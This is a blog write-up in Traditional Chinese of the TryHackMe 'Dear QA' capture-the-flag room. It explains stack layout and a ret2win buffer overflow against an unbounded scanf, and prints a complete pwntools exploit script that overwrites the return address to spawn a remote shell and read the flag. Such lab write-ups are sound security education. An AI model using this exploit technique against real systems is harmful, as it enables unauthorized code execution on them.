7 min read

TryHackMe Dear QA writeup (zh-TW)

TryHackMe Dear QA writeup (zh-TW)

📋 目標資訊

  • Target IP: 10.201.72.213
  • Port: 5700
  • Binary: DearQA-1627223337406.DearQA (ELF 64-bit)
  • 目標: 利用 buffer overflow 執行 vuln() 函數獲得 shell
  • 題目連結: https://tryhackme.com/room/dearqa

🔍 第一步:檔案分析

檢查二進位檔案架構

file DearQA

輸出結果:

DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, 
BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

Binary Architecture: x64 (或 x86-64)

為什麼是 x64?

從反編譯代碼(下面其實才會有反編譯的詳細步驟,這裡可以做為額外佐證),可以看出幾個關鍵證據:

  1. 暫存器命名: 使用 rsprbp (64-bit),而非 espebp (32-bit)
  2. 指標大小: 使用 __int64 型別,指標為 8 bytes

📖 Pwn 基礎知識:理解 Stack

這部分包含完整的入門討論,幫助理解 buffer overflow 的原理

Stack 是什麼?

當程式執行時,會在記憶體中建立一個叫做 Stack (堆疊) 的區域,想像 Stack 就像一疊盤子:

┌──────────────────┐  ← 高位址 (0x7fff...)
│                  │
│    Stack 區域     │  
│   (由上往下長)    │
│                  │
└──────────────────┘  ← 低位址 (0x0000...)

什麼叫「由上往下長」?

記憶體位址就像門牌號碼,數字越大代表「高位址」。當程式需要更多 stack 空間時,它會往低位址的方向延伸:

位址 0x7fff0020  ← Stack 開始的地方
位址 0x7fff0018  ← 放第一個變數
位址 0x7fff0010  ← 放第二個變數(往下長)
位址 0x7fff0008  ← 放第三個變數(繼續往下)

類比: 就像從第 100 樓往下蓋到第 1 樓,樓層號碼越來越小。

函數呼叫時的 Stack 結構

main() 被呼叫時,Stack 依序建立:

步驟 1:CALL 指令

┌─────────────────────┐  
│  return address     │ ← CPU 自動 push 返回地址
└─────────────────────┘  

步驟 2:進入函數

┌─────────────────────┐  
│  return address     │  
├─────────────────────┤
│  saved rbp          │ ← 保存舊的 base pointer
└─────────────────────┘  

步驟 3:分配局部變數

char v4[32];  // 需要 32 bytes 空間

Stack 繼續往下長

┌─────────────────────┐  高位址
│  return address     │  ← rbp+8
├─────────────────────┤
│  saved rbp          │  ← rbp+0
├─────────────────────┤
│                     │
│  v4[32 bytes]       │  ← rbp-32 (最後分配,所以在低位址)
│                     │
└─────────────────────┘  低位址

關鍵觀念:

  • 先進 stack 的東西在高位址 (return address)
  • 後進 stack 的東西在低位址 (v4)
  • 我們的輸入會從低位址開始寫入!

🔍 第二步:反編譯分析

從 Hex-Rays 反編譯的代碼發現兩個關鍵函數:

Decompiler Explorer
Decompiler Explorer is an interactive online decompiler which shows equivalent C-like output of decompiled programs from many popular decompilers.

1. vuln() - 隱藏的後門函數

//----- (0000000000400686) ----------------------------------------------------
int vuln()
{
  puts("Congratulations!");
  puts("You have entered in the secret function!");
  fflush(stdout);
  return execve("/bin/bash", 0, 0);  // ← 直接給 shell!
}

關鍵發現:

  • 函數位址: 0x400686
  • 功能: 執行 /bin/bash 獲得 shell
  • 問題: main() 沒有呼叫這個函數!

2. main() - 有漏洞的主函數

//----- (00000000004006C3) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF  ← 只有 32 bytes!

  puts("Welcome dearQA");
  puts("I am sysadmin, i am new in developing");
  printf("What's your name: ");
  fflush(stdout);
  __isoc99_scanf("%s", v4);  // ⚠️ 沒有長度檢查!
  printf("Hello: %s\n", v4);
  return 0;
}

漏洞分析:

  • v4 緩衝區只有 32 bytes
  • scanf("%s") 沒有長度限制
  • 可以寫入超過 32 bytes,造成緩衝區溢出

從註解推算 Stack Layout

關鍵資訊: [rbp-20h] 表示 v4 起始於 rbp - 0x20 (rbp - 32)

rbp+8   ← return address (目標!)
rbp+0   ← saved rbp
rbp-8   ← v4[24~31]
rbp-16  ← v4[16~23]
rbp-24  ← v4[8~15]
rbp-32  ← v4[0~7] (v4 的起始位置)

計算偏移量:

  • 填滿 v4: 32 bytes
  • 覆蓋 saved rbp: 8 bytes
  • 總計: 需要 40 bytes 才能到達 return address

攻擊原理:控制程式流程

Return Address 是什麼?

當函數執行完畢,它需要知道「要回到哪裡繼續執行」。

正常流程:

int main() {
  printf("A");
  some_function();  // ← 呼叫函數,跳走
  printf("B");      // ← 執行完要回來這裡!
  return 0;
}

Return Address 記錄著「要回去的地方」的位址。

我們的攻擊策略

正常情況:

main() 執行到最後
  ↓
讀取 return address (回到系統)
  ↓
程式正常結束

攻擊後:

main() 執行到最後
  ↓
讀取 return address (被改成 0x400686)
  ↓
跳到 vuln() 函數!
  ↓
execve("/bin/bash") ← 獲得 shell!

如何「改」return address?

利用 scanf 的漏洞,輸入超長字串:

輸入 50 個字元時:
┌─────────────────────┐
│  return address     │ ← 最後 8 個字元寫到這!
├─────────────────────┤
│  saved rbp          │ ← 中間 8 個字元寫到這
├─────────────────────┤
│  v4[32 bytes]       │ ← 前 32 個字元寫到這
└─────────────────────┘

溢出了! 我們可以控制 return address!

第三步:編寫 Exploit

為什麼要用 p64() 包裝地址?

地址在記憶體中使用 Little-Endian (小端序) 儲存:

地址: 0x0000000000400686

❌ 錯誤寫法:
00 00 00 00 00 40 06 86

✅ 正確寫法 (little-endian):
86 06 40 00 00 00 00 00
   ↑  ↑  ↑
 低位 → 高位 (反過來)

pwntools 的 p64() 自動處理這個轉換!

# 手動方式(容易出錯)
addr = b'\x86\x06\x40\x00\x00\x00\x00\x00'

# 使用 pwntools(推薦)
from pwn import *
addr = p64(0x400686)  # 自動轉成正確的 byte 順序

完整 Exploit 代碼

from pwn import *

# 目標資訊
host = '10.201.72.213'
port = 5700

# vuln 函數位址
vuln_addr = 0x400686

# 連接
io = remote(host, port)

# 構造 payload
payload = b'A' * 32       # 填滿 32 bytes buffer
payload += b'B' * 8       # 覆蓋 saved rbp (8 bytes)
payload += p64(vuln_addr) # 覆蓋返回地址為 vuln()

# 發送 payload
io.recvuntil(b'name: ')
io.sendline(payload)

# 獲得 shell 後執行命令
io.interactive()

Payload 結構圖

[AAAAAAAA...32 bytes...][BBBBBBBB][0x400686]
 ↑                      ↑          ↑
 填滿 v4                覆蓋 rbp   覆蓋 return address

第四步:執行 Exploit

執行腳本

python3 solve.py

成功獲得 Shell

[+] Opening connection to 10.201.72.213 on port 5700: Done
[*] Switching to interactive mode
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x86\x06@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
$ 

✅ 成功跳轉到 vuln() 並獲得 shell!

第五步:取得 Flag

尋找 Flag

$ ls
DearQA
flag.txt

$ cat flag.txt
THM{Redacted}

✅ 成功取得 Flag!

📚 技術要點總結

Buffer Overflow 基礎概念

  • ✅ Stack 結構:理解「由上往下長」的概念
  • ✅ Stack Layout:return address → saved rbp → local variables
  • ✅ 函數呼叫:CALL 指令自動 push return address

經驗分享

這一題是筆者的入門pwn,我參與所有CTF都會跳過pwn的題目,但今天想要來入門,下面附上跟Claude AI討論的東西,

🎓 入門者常見問題
Q: 為什麼我的輸入直接放在低位址?
A: 因為 Stack 往下長!局部變數是最後分配的,所以在最低的位址,先進 Stack 的 return address 反而在高位址。

Q: 為什麼可以控制程式流程?
A: 因為覆蓋了 return address。當 main() 執行 return 時,CPU 會從 Stack 讀取 return address 並跳轉,我們把它改成 vuln() 的地址,程式就跳到那裡了!

Q: 如果沒有 vuln() 這種現成函數怎麼辦?
A: 這就是進階技巧了!可以使用:

  • ret2libc: 呼叫系統函數 (如 system())
  • ROP: 拼湊程式內的指令片段
  • Shellcode: 注入自己的機器碼

Q: 為什麼要用 p64() 而不是直接寫地址?
A: 因為 x86-64 使用 Little-Endian,地址在記憶體中是反過來存的,p64() 會自動幫你轉換成正確的 byte 順序。

🎉 結論

這題是非常經典的 ret2win 類型題目,完美展示了:

  1. Buffer Overflow 的基本原理
  2. Stack 的結構與運作方式
  3. 如何控制程式執行流程
  4. Exploit 開發的基礎技巧